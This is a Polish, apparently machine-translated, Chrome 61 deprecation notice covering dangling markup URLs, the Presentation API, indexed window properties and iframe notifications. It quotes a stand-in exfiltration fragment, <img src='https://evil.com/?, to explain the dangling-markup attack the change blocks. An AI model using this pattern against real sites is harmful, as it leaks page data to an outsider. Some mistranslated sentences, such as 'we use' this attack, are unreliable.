Wycofywanie i usuwanie w Chrome 61

Jan Kowalski
Joe Medley

W niemal każdej wersji Chrome obserwujemy znaczną liczbę aktualizacji i ulepszeń produktu, jego wydajności, a także możliwości platformy internetowej. W tym artykule opisujemy wycofywanie i usuwanie wersji Chrome 61, która od 3 sierpnia znajduje się w fazie beta. Ta lista może się w każdej chwili zmienić.

Prywatność i bezpieczeństwo

Blokuj zasoby, których adresy URL zawierają znaki „\n” i „<”

Stosujemy rodzaj ataku hakerskiego zwanego wstrzyknięciem znaczników, w którym skrócony adres URL służy do wysyłania danych do zewnętrznego punktu końcowego. Weźmy za przykład stronę zawierającą element <img src='https://evil.com/?. Adres URL nie zawiera cudzysłowu zamykającego, dlatego przeglądarki odczytają do następnego cudzysłowu i potraktują zawarte w nim znaki tak, jakby były pojedynczymi adresami URL.

Chrome 61 eliminuje tę lukę w zabezpieczeniach, ograniczając zestawy znaków dozwolone w atrybutach href i src. W szczególności Chrome zatrzyma przetwarzanie adresów URL, gdy napotka znaki nowego wiersza (\n) i mniej niż znaki (<).

Deweloperzy, którzy w uzasadnionych przypadkach używają nowego wiersza i mają w adresie URL mniejszą liczbę znaków, powinni zamiast tego używać znaczenia tych znaków.

Intencja usunięcia | Narzędzie do śledzenia stanu Chrome | Błąd Chromium

Wycofanie i usunięcie interfejsu Presentation API w niezabezpieczonych kontekstach

Stwierdzono, że w przypadku niezabezpieczonych źródeł interfejs Prezentacja API może służyć jako wektor hakerski w niezabezpieczonych źródłach. Ponieważ wyświetlacze nie mają pasków adresu, interfejs API może służyć do podszywania się pod inne treści. Można też wydobyć dane z prowadzonych prezentacji.

Zgodnie z zamierzeniem firmy Blink usunięcie zaawansowanych funkcji w niezabezpieczonych źródłach planujemy wycofać i usunięcie obsługi interfejsu Presentation API w niezabezpieczonych kontekstach. Od Chrome 61 PresentationRequest.start() nie będzie już działać w przypadku niezabezpieczonych źródeł.

Intencja usunięcia | Narzędzie do śledzenia stanu Chrome | Błąd Chromium

JavaScript

Nie zezwalaj na definiowanie właściwości zindeksowanych w oknach

Wcześniej niektóre przeglądarki zezwalały na przypisywanie kodu JavaScript, jak na przykład poniżej:

    window[0] = 1;

Aktualne specyfikacje HTML wskazują, że stanowi to wyraźne naruszenie specyfikacji JavaScriptu. W związku z tym w Chrome 61 ta możliwość została usunięta. Od lutego 2016 r. przeglądarka Firefox jest zgodna z zasadami.

Błąd Chromium

Usuń korzystanie z powiadomień z niezabezpieczonych elementów iframe

Prośby o przyznanie uprawnień z elementów iframe mogą wprowadzać użytkowników w błąd, ponieważ trudno jest odróżnić źródło strony zawierającej stronę od źródła elementu iframe, który wysyła żądanie. Gdy zakres żądań jest niejasny, użytkownicy mają trudności z rozstrzygnięciem, czy przyznać lub odebrać uprawnienia.

Wyłączenie powiadomień w elementach iframe spowoduje też dostosowanie wymagań dotyczących uprawnień do powiadomień z wymaganiami dotyczącymi powiadomień push, co ułatwi deweloperom pracę.

Deweloperzy, którzy potrzebują tej funkcji, mogą otworzyć nowe okno i poprosić o zgodę na wysyłanie powiadomień.

Intencja usunięcia | Narzędzie do śledzenia stanu Chrome | Błąd Chromium